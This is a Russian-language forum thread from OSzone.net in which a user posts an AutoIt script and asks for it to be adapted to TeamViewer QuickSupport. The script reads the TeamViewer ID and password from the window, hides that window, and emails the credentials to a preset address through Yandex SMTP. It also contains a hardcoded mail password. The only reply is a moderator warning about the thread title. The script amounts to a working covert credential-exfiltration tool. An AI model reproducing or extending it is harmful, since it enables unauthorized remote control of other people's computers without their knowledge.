Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » AutoIt » Помогите переписать скрипт

Ответить
Настройки темы
Помогите переписать скрипт

Новый участник


Сообщения: 47
Благодарности: 1

Профиль | Отправить PM | Цитировать


Был ранее написан скрипт на Team Viwer

Код: Выделить весь код
;
;##################################

;##################################
#Include<file.au3>
;##################################

;##################################
Opt('WinTitleMatchMode', 3)
WinSetState('TeamViewer', '', @SW_MINIMIZE)
$sTitle = 'TeamViewer'
$sText = 'Please enter your partner''s ID in order to create a session'
$sID = ControlGetText($sTitle, $sText, 'Edit2')
$sPass = ControlGetText($sTitle, $sText, 'Edit3')
WinSetState('TeamViewer', '', @SW_HIDE)
$sTeamInfo = 'Team Viewer details' & @CRLF & 'ID is ' & $sID & @CRLF & 'and password is ' & $sPass

$SmtpServer = "smtp.yandex.ru" 
$FromName = "Имя" 
$FromAddress = "Адрес от кого" 
$ToAddress = "Адрес Кому" 
$Subject = "TeamViewer details" 
$Body = $sTeamInfo 
$AttachFiles = "" 
$CcAddress = "" 
$BccAddress = "" 
$Importance = "Normal" 
$Username = "Имя" 
$Password = "Centrino" 
$IPPort = 25 
$ssl = 0 
;~ $IPPort=465 
;~ $ssl=1 

;##################################

;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
 MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
EndIf
;

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
 Local $objEmail = ObjCreate("CDO.Message")
 $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
 $objEmail.To = $s_ToAddress
 Local $i_Error = 0
 Local $i_Error_desciption = ""
 If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
 If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
 $objEmail.Subject = $s_Subject
 If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
 $objEmail.HTMLBody = $as_Body
 Else
 $objEmail.Textbody = $as_Body & @CRLF
 EndIf
 If $s_AttachFiles <> "" Then
 Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
 For $x = 1 To $S_Files2Attach[0]
 $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
 ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
 If FileExists($S_Files2Attach[$x]) Then
 $objEmail.AddAttachment ($S_Files2Attach[$x])
 Else
 ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
 SetError(1)
 Return 0
 EndIf
 Next
 EndIf
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
 If Number($IPPort) = 0 then $IPPort = 25
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
 ;Authenticated SMTP
 If $s_Username <> "" Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
 EndIf
 If $ssl Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
 EndIf
 ;Update settings
 $objEmail.Configuration.Fields.Update
 
 Switch $s_Importance
 Case "High"
 $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
 Case "Normal"
 $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
 Case "Low"
 $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
 EndSwitch
 $objEmail.Fields.Update
 
 $objEmail.Send
 If @error Then
 SetError(2)
 Return $oMyRet[1]
 EndIf
 $objEmail=""
EndFunc ;==>_INetSmtpMailCom
;
;

Func MyErrFunc()
 $HexNumber = Hex($oMyError.number, 8)
 $oMyRet[0] = $HexNumber
 $oMyRet[1] = StringStripWS($oMyError.description, 3)
 ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
 SetError(1)
 Return
EndFunc ;==>MyErrFunc
Он был написан на обычный Team Viwer помогите переписать на данную версию ( Вот ссылка с офф.Сайта http://www.teamviewer.com/download/TeamViewerQS.exe )

Отправлено: 00:34, 28-02-2010

 

Аватара для Creat0R

Must AutoIt


Сообщения: 3054
Благодарности: 1009

Профиль | Сайт | Отправить PM | Цитировать


Предупреждение за нарушение правил форума, пункт 2.7:

Цитата:
В заголовке темы обязательно обозначайте название предмета, которого касается вопрос, а в теле сообщения максимально подробно опишите проблему (приведите аппаратную/программную конфигурацию, а также изложите ситуацию, в которой возникает проблема).
Переименуйте пожалуйста тему.

-------
“Сделай так просто, как возможно, но не проще этого.”... “Ты никогда не решишь проблему, если будешь думать так же, как те, кто её создал.”

Альберт Эйнштейн

P.S «Не оказываю техподдержку через ПМ/ICQ, и по email - для этого есть форум. ©»

http://creator-lab.ucoz.ru/Images/Icons/autoit_icon.png Русское сообщество AutoIt | http://creator-lab.ucoz.ru/Images/Ic...eator_icon.png CreatoR's Lab | http://creator-lab.ucoz.ru/Images/Icons/oac_icon.png Opera AC Community


Отправлено: 02:14, 28-02-2010 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » AutoIt » Помогите переписать скрипт

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Помогите поставить СКРИПТ!!! MozgNeo Вебмастеру 29 29-09-2013 13:42
FreeBSD - Помогите написать скрипт Stirs Общий по FreeBSD 2 25-06-2008 02:29
Помогите найти скрипт на JS rfcr Вебмастеру 9 11-08-2006 19:59
Помогите написать скрипт!!! Sergei Antoshkin Вебмастеру 1 13-03-2003 18:22
VBS/WSH/JS - Как переписать скрипт на VSCript или на Jscript??? zona Программирование и базы данных 1 04-01-2003 22:38




 
Переход